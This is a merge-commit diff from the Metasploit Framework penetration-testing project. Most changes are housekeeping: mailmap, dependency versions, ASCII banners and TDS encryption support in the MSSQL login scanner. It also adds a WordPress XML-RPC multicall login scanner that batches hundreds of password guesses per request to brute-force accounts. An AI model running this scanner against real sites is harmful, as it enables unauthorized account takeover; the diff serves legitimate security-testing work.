Merge branch 'upstream-master'
This commit is contained in:
commit
db19a7d9b3
|
@ -68,6 +68,8 @@ external/source/exploits/**/Release
|
|||
# Avoid checking in Meterpreter binaries. These are supplied upstream by
|
||||
# the metasploit-payloads gem.
|
||||
data/meterpreter/*.dll
|
||||
data/meterpreter/*.php
|
||||
data/meterpreter/*.py
|
||||
data/meterpreter/*.bin
|
||||
data/meterpreter/*.jar
|
||||
data/meterpreter/*.lso
|
||||
|
|
83
.mailmap
83
.mailmap
|
@ -1,45 +1,45 @@
|
|||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
|
||||
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> Deral Heiland <dh@layereddefense.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> dmaloney-r7 <DMaloney@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
|
||||
farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> Greg Mikeska <greg_mikeska@rapid7.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> Gregory Mikeska <greg_mikeska@rapid7.com>
|
||||
hdm <hdm@github> HD Moore <hd_moore@rapid7.com>
|
||||
hdm <hdm@github> HD Moore <hdm@digitaloffense.net>
|
||||
hdm <hdm@github> HD Moore <x@hdm.io>
|
||||
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
|
||||
jlee-r7 <jlee-r7@github> <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> <james_lee@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> darkbushido <lance.sanchez@gmail.com>
|
||||
lsato-r7 <lsato-r7@github> Louis Sato <lsato@rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> Adam Cammack <Adam_Cammack@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
|
||||
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> Brian Patterson <Brian_Patterson@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> Deral Heiland <dh@layereddefense.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> dmaloney-r7 <DMaloney@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
|
||||
farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> Greg Mikeska <greg_mikeska@rapid7.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> Gregory Mikeska <greg_mikeska@rapid7.com>
|
||||
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
|
||||
jlee-r7 <jlee-r7@github> <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> <james_lee@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> darkbushido <lance.sanchez@gmail.com>
|
||||
lsato-r7 <lsato-r7@github> Louis Sato <lsato@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> Paul Deardorff <Paul_Deardorff@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> pdeardorff-r7 <paul_deardorff@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
|
||||
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
|
||||
wvu-r7 <wvu-r7@github> wvu-r7 <William_Vu@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
|
||||
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
|
||||
wvu-r7 <wvu-r7@github> wvu-r7 <William_Vu@rapid7.com>
|
||||
wwebb-r7 <wwebb-r7@github> William Webb <William_Webb@rapid7.com>
|
||||
|
||||
# Above this line are current Rapid7 employees. Below this paragraph are
|
||||
# volunteers, former employees, and potential Rapid7 employees who, at
|
||||
|
@ -83,6 +83,9 @@ g0tmi1k <g0tmi1k@github> <g0tmi1k@users.noreply.github.com>
|
|||
g0tmi1k <g0tmi1k@github> <have.you.g0tmi1k@gmail.com>
|
||||
h0ng10 <h0ng10@github> h0ng10 <hansmartin.muench@googlemail.com>
|
||||
h0ng10 <h0ng10@github> Hans-Martin Münch <hansmartin.muench@googlemail.com>
|
||||
hdm <hdm@github> HD Moore <hd_moore@rapid7.com>
|
||||
hdm <hdm@github> HD Moore <hdm@digitaloffense.net>
|
||||
hdm <hdm@github> HD Moore <x@hdm.io>
|
||||
jabra <jabra@github> Josh Abraham <jabra@spl0it.org>
|
||||
jabra <jabra@github> Joshua Abraham <jabra@spl0it.org>
|
||||
jcran <jcran@github> <jcran@0x0e.org>
|
||||
|
|
|
@ -1 +1 @@
|
|||
2.1.7
|
||||
2.1.8
|
||||
|
|
|
@ -25,7 +25,7 @@ script:
|
|||
- git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS
|
||||
sudo: false
|
||||
rvm:
|
||||
- '2.1.7'
|
||||
- '2.1.8'
|
||||
|
||||
notifications:
|
||||
irc: "irc.freenode.org#msfnotify"
|
||||
|
|
|
@ -35,12 +35,14 @@ This Code of Conduct applies both within project spaces and in public spaces
|
|||
when an individual is representing the project or its community.
|
||||
|
||||
Instances of abusive, harassing, or otherwise unacceptable behavior may be
|
||||
reported by contacting a project maintainer at msfdev@metasploit.com. All
|
||||
complaints will be reviewed and investigated and will result in a response that
|
||||
is deemed necessary and appropriate to the circumstances. Maintainers are
|
||||
obligated to maintain confidentiality with regard to the reporter of an
|
||||
incident.
|
||||
reported by contacting the project maintainers at msfdev@metasploit.com. If
|
||||
the incident involves a committer, you may report directly to
|
||||
egypt@metasploit.com or todb@metasploit.com.
|
||||
|
||||
All complaints will be reviewed and investigated and will result in a
|
||||
response that is deemed necessary and appropriate to the circumstances.
|
||||
Maintainers are obligated to maintain confidentiality with regard to the
|
||||
reporter of an incident.
|
||||
|
||||
This Code of Conduct is adapted from the [Contributor Covenant][homepage],
|
||||
version 1.3.0, available at
|
||||
|
|
|
@ -51,7 +51,7 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
|||
|
||||
#### New Modules
|
||||
|
||||
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up.
|
||||
* **Do** run `tools/dev/msftidy.rb` against your module and fix any errors or warnings that come up.
|
||||
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Don't** include more than one module per pull request.
|
||||
|
|
17
Gemfile.lock
17
Gemfile.lock
|
@ -1,19 +1,19 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.11.7)
|
||||
metasploit-framework (4.11.10)
|
||||
actionpack (>= 4.0.9, < 4.1.0)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
bcrypt
|
||||
filesize
|
||||
jsobfu (~> 0.3.0)
|
||||
jsobfu (~> 0.4.1)
|
||||
json
|
||||
metasm (~> 1.0.2)
|
||||
metasploit-concern (= 1.0.0)
|
||||
metasploit-credential (= 1.0.1)
|
||||
metasploit-model (= 1.0.0)
|
||||
metasploit-payloads (= 1.0.21)
|
||||
metasploit-payloads (= 1.0.24)
|
||||
metasploit_data_models (= 1.2.10)
|
||||
msgpack
|
||||
network_interface (~> 0.0.1)
|
||||
|
@ -102,7 +102,7 @@ GEM
|
|||
multi_json (~> 1.3)
|
||||
hike (1.2.3)
|
||||
i18n (0.7.0)
|
||||
jsobfu (0.3.0)
|
||||
jsobfu (0.4.1)
|
||||
rkelly-remix (= 0.0.6)
|
||||
json (1.8.3)
|
||||
mail (2.6.3)
|
||||
|
@ -124,7 +124,7 @@ GEM
|
|||
activemodel (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
metasploit-payloads (1.0.21)
|
||||
metasploit-payloads (1.0.24)
|
||||
metasploit_data_models (1.2.10)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
|
@ -143,7 +143,7 @@ GEM
|
|||
multi_json (1.11.2)
|
||||
multi_test (0.1.2)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.6.7.1)
|
||||
nokogiri (1.6.7.2)
|
||||
mini_portile2 (~> 2.0.0.rc2)
|
||||
openssl-ccm (1.2.1)
|
||||
packetfu (1.1.11)
|
||||
|
@ -180,7 +180,7 @@ GEM
|
|||
rb-readline-r7 (0.5.2.0)
|
||||
recog (2.0.14)
|
||||
nokogiri
|
||||
redcarpet (3.2.3)
|
||||
redcarpet (3.3.4)
|
||||
rkelly-remix (0.0.6)
|
||||
robots (0.10.1)
|
||||
rspec-core (3.3.2)
|
||||
|
@ -246,3 +246,6 @@ DEPENDENCIES
|
|||
simplecov
|
||||
timecop
|
||||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.11.2
|
||||
|
|
|
@ -0,0 +1,11 @@
|
|||
%bld%blk ____________%whi
|
||||
[%%%%%clr%%%%%%%%%bld%blk%%%%%%%%blk%%%%%%%%%%%%%| %red$a,%blk |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%whi]
|
||||
[%%%%clr%%%%%%%%%%bld%blk%%%%%%%%%%%%%%%%%%%%| %red$S`?a,%blk |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%whi]
|
||||
[%%%clr%%%%%%%%bld%blk%%%%%%%%%%%%whi_%cya_%blk%%%%%%%%%%| %red`?a,%blk |%%%%%%%%%whi_%grn_%blk%%%%%%%%%%whi_%grn_%blk%%%whi_%grn_ %blk%%%%%whi]
|
||||
[% .-%cya--%clr%cya-----.%bld%whi.-%cya-%clr%cya---.%bld%whi| %clr%cya|_ %bld%whi.-%cya-%clr%cya-.-.%bld%blk| %red.,a$%%blk|%whi.-%grn---%clr%grn-.%bld%whi| %clr%grn|%bld%whi.-%grn--%clr%grn--.%bld%whi|%grn_%clr%grn_|%bld%whi| %clr%grn|_ %bld%blk%%%whi]
|
||||
[% | %clr%cya|%bld%whi| %clr%cya-__|%clr%cya| %clr%cya_|%bld%whi| %clr%cya_ |%bld%blk| %red,,aS$""`%blk |%whi| %clr%grn_ |%bld%grn| %clr%grn|%bld%whi| %clr%grn_ |%bld%grn| %clr%grn|%bld%grn| %clr%grn_|%bld%blk%%%whi]
|
||||
[% %cya|%clr%cya__|__|__|%bld%cya|_%clr%cya____|%bld%cya|_%clr%cya___|%bld%cya|_%clr%cya__._|%bld%blk|%red%$P"`%blk |%grn| %clr%grn__|%bld%grn|_%clr%grn_|%bld%grn|_%clr%grn____|%bld%grn|_%clr%grn_|%bld%grn|_%clr%grn___|%bld%blk%%%bld%whi]
|
||||
[%%clr%%%%bld%blk%%%%%%%%%%%%%%%%%%%%%%%%%%%%| %red`"a,%blk |%clr%grn|__|%bld%blk%%%%%%%%%%%%%%%%%%%%%%%%%%%whi]
|
||||
[%%clr%%%bld%blk%%%%%%%%%%%%%%%%%%%%%%%%%%%%%|____%red`"a,$$%blk__|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%whi]
|
||||
[%clr%%%bld%blk%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %red`"$%blk %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%whi]
|
||||
[%clr%%bld%blk%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%whi]
|
|
@ -0,0 +1,20 @@
|
|||
%bld%whi
|
||||
. .
|
||||
.
|
||||
|
||||
%bludBBBBBBb dBBBP dBBBBBBP dBBBBBb %whi. o
|
||||
%blu ' dB' BBP
|
||||
dB'dB'dB' dBBP dBP dBP BB
|
||||
dB'dB'dB' dBP dBP dBP BB
|
||||
dB'dB'dB' dBBBBP dBP dBBBBBBB
|
||||
|
||||
%reddBBBBBP %bludBBBBBb dBP dBBBBP dBP dBBBBBBP
|
||||
%whi. %cya. %bludB' dBP dB'.BP
|
||||
%cya| %reddBP%blu dBBBB' dBP dB'.BP dBP dBP
|
||||
%cya--o-- %reddBP%blu dBP dBP dB'.BP dBP dBP
|
||||
%cya| %reddBBBBP%blu dBP dBBBBP dBBBBP dBP dBP%whi
|
||||
|
||||
.
|
||||
.
|
||||
o %grnTo boldly go where no
|
||||
shell has gone before
|
|
@ -0,0 +1,21 @@
|
|||
%clr%bld%red
|
||||
.,,. .
|
||||
.\$$$$$L..,,==aaccaacc%#s$b. %whid%grn8, %whid8%grnP
|
||||
%whid8%cyaP %red#$$$$$$$$$$$$$$$$$$$$$$$$$$$b. %whi`BP d88%grn8888p
|
||||
%whid%cya888888P %red'7$$$$\""""''^^`` .7$$$|D*"'``` %whi?%grn88'
|
||||
%whid8%cyabd8b.d8p %whid8%cya888b %whi?%cya88' %whid88%cya8b8b%red _.os#$|8*"` %whid8%grnP %whi?8%grnb 88P
|
||||
%whi8%cya8P`?P'?P %whid8%cyab_,dP 88P %whid8%cyaP' ?88%red .oaS###S*"` %whid8%grnP %whid88%grn88b $whi?%grn88b 88b
|
||||
%cyad88 d8 ?8 88b %whi8%cya8b 88b ,88b %red.osS$$$$*" %grn?88,.d88b, %whid%grn88 %whid%grn8P' ?88 88P `?8b
|
||||
%cyad88' d88b 8b`?8888P'`?8b`?88P'%red.aS$$$$Q*"` %grn`?88' ?88 ?88 88b d88 d88%red
|
||||
.a#$$$$$$"` %grn88b d8P 88b`?8888P'%red
|
||||
,s$$$$$$$"` %grn888888P' 88n%red _.,,,ass;:
|
||||
.a$$$$$$$P` %grnd88P'%red .,.ass%#S$$$$$$$$$$$$$$'
|
||||
.a$###$$$P` _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
|
||||
,a$$###$$P` _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
|
||||
.a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
|
||||
%whi___________%clr_____________________________%bld%blk_______________________%red ,&$$$$$$'%blk_____%red
|
||||
ll&&$$$$'
|
||||
.;;lll&&&&'
|
||||
...;;lllll&'
|
||||
......;;;llll;;;....
|
||||
` ......;;;;... . .
|
|
@ -42,44 +42,7 @@ module Metasploit::Framework::CommonEngine
|
|||
# `initializer`s
|
||||
#
|
||||
|
||||
initializer 'metasploit_framework.merge_meterpreter_extensions' do
|
||||
Rails.application.railties.engines.each do |engine|
|
||||
merge_meterpreter_extensions(engine)
|
||||
end
|
||||
|
||||
# The Rails.application itself could have paths['data/meterpreter'], but will not be part of
|
||||
# Rails.application.railties.engines because only direct subclasses of `Rails::Engine` are returned.
|
||||
merge_meterpreter_extensions(Rails.application)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Instance Methods
|
||||
#
|
||||
|
||||
private
|
||||
|
||||
# Merges the meterpreter extensions from `engine`'s `paths['data/meterpreter]`.
|
||||
#
|
||||
# @param engine [Rails::Engine] a Rails engine or application that has meterpreter extensions
|
||||
# @return [void]
|
||||
# @todo Make metasploit-framework look for meterpreter extension in paths['data/meterpreter'] from the engine instead of copying them.
|
||||
def merge_meterpreter_extensions(engine)
|
||||
data_meterpreter_paths = engine.paths['data/meterpreter']
|
||||
|
||||
# may be `nil` since 'data/meterpreter' is not part of the core Rails::Engine paths set.
|
||||
if data_meterpreter_paths
|
||||
source_paths = data_meterpreter_paths.existent
|
||||
destination_directory = root.join('data', 'meterpreter').to_path
|
||||
|
||||
source_paths.each do |source_path|
|
||||
basename = File.basename(source_path)
|
||||
destination_path = File.join(destination_directory, basename)
|
||||
|
||||
unless destination_path == source_path
|
||||
FileUtils.copy(source_path, destination_directory)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -32,6 +32,11 @@ module Metasploit
|
|||
validates :windows_authentication,
|
||||
inclusion: { in: [true, false] }
|
||||
|
||||
attr_accessor :tdsencryption
|
||||
|
||||
validates :tdsencryption,
|
||||
inclusion: { in: [true, false] }
|
||||
|
||||
def attempt_login(credential)
|
||||
result_options = {
|
||||
credential: credential,
|
||||
|
@ -70,6 +75,7 @@ module Metasploit
|
|||
self.use_ntlm2_session = true if self.use_ntlm2_session.nil?
|
||||
self.use_ntlmv2 = true if self.use_ntlmv2.nil?
|
||||
self.windows_authentication = false if self.windows_authentication.nil?
|
||||
self.tdsencryption = false if self.tdsencryption.nil?
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,150 @@
|
|||
require 'metasploit/framework/login_scanner/http'
|
||||
require 'nokogiri'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
class WordpressMulticall < HTTP
|
||||
|
||||
# @!attribute passwords
|
||||
# @return [Array]
|
||||
attr_accessor :passwords
|
||||
|
||||
# @!attribute chunk_size, limits number of passwords per XML request
|
||||
# @return [Fixnum]
|
||||
attr_accessor :chunk_size
|
||||
|
||||
# @!attribute block_wait, time to wait if got blocked by the target
|
||||
# @return [Fixnum]
|
||||
attr_accessor :block_wait
|
||||
|
||||
# @!attribute base_uri
|
||||
# @return [String]
|
||||
attr_accessor :base_uri
|
||||
|
||||
# @!attribute wordpress_url_xmlrpc
|
||||
# @return [String]
|
||||
attr_accessor :wordpress_url_xmlrpc
|
||||
|
||||
|
||||
def set_default
|
||||
self.wordpress_url_xmlrpc = 'xmlrpc.php'
|
||||
self.block_wait = 6
|
||||
self.base_uri = '/'
|
||||
self.chunk_size = 1700
|
||||
end
|
||||
|
||||
# Returns the XML data that is used for the login.
|
||||
#
|
||||
# @param user [String] username
|
||||
# @return [Array]
|
||||
def generate_xml(user)
|
||||
xml_payloads = []
|
||||
|
||||
# Evil XML | Limit number of log-ins to CHUNKSIZE/request due
|
||||
# Wordpress limitation which is 1700 maximum.
|
||||
passwords.each_slice(chunk_size) do |pass_group|
|
||||
document = Nokogiri::XML::Builder.new do |xml|
|
||||
xml.methodCall {
|
||||
xml.methodName("system.multicall")
|
||||
xml.params {
|
||||
xml.param {
|
||||
xml.value {
|
||||
xml.array {
|
||||
xml.data {
|
||||
pass_group.each do |pass|
|
||||
xml.value {
|
||||
xml.struct {
|
||||
xml.member {
|
||||
xml.name("methodName")
|
||||
xml.value { xml.string("wp.getUsersBlogs") }}
|
||||
xml.member {
|
||||
xml.name("params")
|
||||
xml.value {
|
||||
xml.array {
|
||||
xml.data {
|
||||
xml.value {
|
||||
xml.array {
|
||||
xml.data {
|
||||
xml.value { xml.string(user) }
|
||||
xml.value { xml.string(pass) }
|
||||
}}}}}}}}}
|
||||
end
|
||||
}}}}}}
|
||||
end
|
||||
xml_payloads << document.to_xml
|
||||
end
|
||||
|
||||
xml_payloads
|
||||
end
|
||||
|
||||
# Sends an HTTP request to Wordpress.
|
||||
#
|
||||
# @param xml [String] XML data.
|
||||
# @return [void]
|
||||
def send_wp_request(xml)
|
||||
opts =
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri("#{base_uri}/#{wordpress_url_xmlrpc}"),
|
||||
'data' => xml,
|
||||
'ctype' =>'text/xml'
|
||||
}
|
||||
|
||||
client = Rex::Proto::Http::Client.new(rhost)
|
||||
client.connect
|
||||
req = client.request_cgi(opts)
|
||||
res = client.send_recv(req)
|
||||
|
||||
if res && res.code != 200
|
||||
sleep(block_wait * 60)
|
||||
end
|
||||
|
||||
@res = res
|
||||
end
|
||||
|
||||
|
||||
# Attempts to login.
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential]
|
||||
# @return [Metasploit::Framework::LoginScanner::Result]
|
||||
def attempt_login(credential)
|
||||
generate_xml(credential.public).each do |xml|
|
||||
send_wp_request(xml)
|
||||
req_xml = Nokogiri::Slop(xml)
|
||||
res_xml = Nokogiri::Slop(@res.to_s.scan(/<.*>/).join)
|
||||
res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|
|
||||
result = value.at("struct/member/value/int")
|
||||
if result.nil?
|
||||
pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
|
||||
credential.private = pass
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL)
|
||||
return Result.new(result_opts)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT)
|
||||
return Result.new(result_opts)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
@ -78,4 +78,3 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
require 'metasploit/framework/tcp/client'
|
||||
require 'metasploit/framework/mssql/tdssslproxy'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
|
@ -48,11 +49,7 @@ module Metasploit
|
|||
|
||||
disconnect if self.sock
|
||||
connect
|
||||
|
||||
# Send a prelogin packet and check that encryption is not enabled
|
||||
if mssql_prelogin() != ENCRYPT_NOT_SUP
|
||||
raise ::Rex::ConnectionError, "Encryption is not supported"
|
||||
end
|
||||
mssql_prelogin
|
||||
|
||||
if windows_authentication
|
||||
idx = 0
|
||||
|
@ -150,7 +147,14 @@ module Metasploit
|
|||
# has a strange behavior that differs from the specifications
|
||||
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
|
||||
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
|
||||
resp = mssql_send_recv(pkt,15, false)
|
||||
|
||||
if tdsencryption == true
|
||||
proxy = TDSSSLProxy.new(sock)
|
||||
proxy.setup_ssl
|
||||
resp = proxy.send_recv(pkt)
|
||||
else
|
||||
resp = mssql_send_recv(pkt)
|
||||
end
|
||||
|
||||
# Get default data
|
||||
begin
|
||||
|
@ -199,8 +203,13 @@ module Metasploit
|
|||
|
||||
pkt = pkt_hdr.pack("CCnnCC") + ntlmssp
|
||||
|
||||
resp = mssql_send_recv(pkt)
|
||||
|
||||
if self.tdsencryption == true
|
||||
resp = mssql_ssl_send_recv(pkt,proxy)
|
||||
proxy.cleanup
|
||||
proxy = nil
|
||||
else
|
||||
resp = mssql_send_recv(pkt)
|
||||
end
|
||||
|
||||
#SQL Server Authentification
|
||||
else
|
||||
|
@ -282,13 +291,23 @@ module Metasploit
|
|||
# Packet header and total length including header
|
||||
pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt
|
||||
|
||||
resp = mssql_send_recv(pkt)
|
||||
if self.tdsencryption == true
|
||||
proxy = TDSSSLProxy.new(sock)
|
||||
proxy.setup_ssl
|
||||
resp = mssql_ssl_send_recv(pkt,proxy)
|
||||
proxy.cleanup
|
||||
proxy = nil
|
||||
else
|
||||
resp = mssql_send_recv(pkt)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
info = {:errors => []}
|
||||
info = mssql_parse_reply(resp,info)
|
||||
|
||||
disconnect
|
||||
|
||||
return false if not info
|
||||
info[:login_ack] ? true : false
|
||||
end
|
||||
|
@ -586,7 +605,14 @@ module Metasploit
|
|||
]
|
||||
|
||||
version = [0x55010008,0x0000].pack("Vv")
|
||||
encryption = ENCRYPT_NOT_SUP # off
|
||||
|
||||
# if manually set, we will honour
|
||||
if tdsencryption == true
|
||||
encryption = ENCRYPT_ON
|
||||
else
|
||||
encryption = ENCRYPT_NOT_SUP
|
||||
end
|
||||
|
||||
instoptdata = "MSSQLServer\0"
|
||||
|
||||
threadid = "\0\0" + Rex::Text.rand_text(2)
|
||||
|
@ -639,12 +665,57 @@ module Metasploit
|
|||
if idx > 0
|
||||
encryption_mode = resp[idx,1].unpack("C")[0]
|
||||
else
|
||||
#force to ENCRYPT_NOT_SUP and hope for the best
|
||||
raise RunTimeError, "Unable to parse encryption req. "\
|
||||
"from server during prelogin"
|
||||
encryption_mode = ENCRYPT_NOT_SUP
|
||||
end
|
||||
|
||||
if encryption_mode != ENCRYPT_NOT_SUP and enc_error
|
||||
raise RuntimeError,"Encryption is not supported"
|
||||
##########################################################
|
||||
# Our initial prelogin pkt above said we didnt support
|
||||
# encryption (it's quicker and the default).
|
||||
#
|
||||
# Per the matrix on the following link, SQL Server will
|
||||
# terminate the connection if it does require TLS,
|
||||
# otherwise it will accept an unencrypted session. As
|
||||
# part of this initial response packet, it also returns
|
||||
# ENCRYPT_REQ.
|
||||
#
|
||||
# https://msdn.microsoft.com\
|
||||
# /en-us/library/ee320519(v=sql.105).aspx
|
||||
#
|
||||
##########################################################
|
||||
|
||||
if encryption_mode == ENCRYPT_REQ
|
||||
# restart prelogin process except that we tell SQL Server
|
||||
# than we are now able to encrypt
|
||||
disconnect if self.sock
|
||||
connect
|
||||
|
||||
# offset 35 is the flag - turn it on
|
||||
pkt[35] = [ENCRYPT_ON].pack('C')
|
||||
self.tdsencryption = true
|
||||
framework_module.print_status("TLS encryption has " \
|
||||
"been enabled based on server response.")
|
||||
|
||||
resp = mssql_send_recv(pkt)
|
||||
|
||||
idx = 0
|
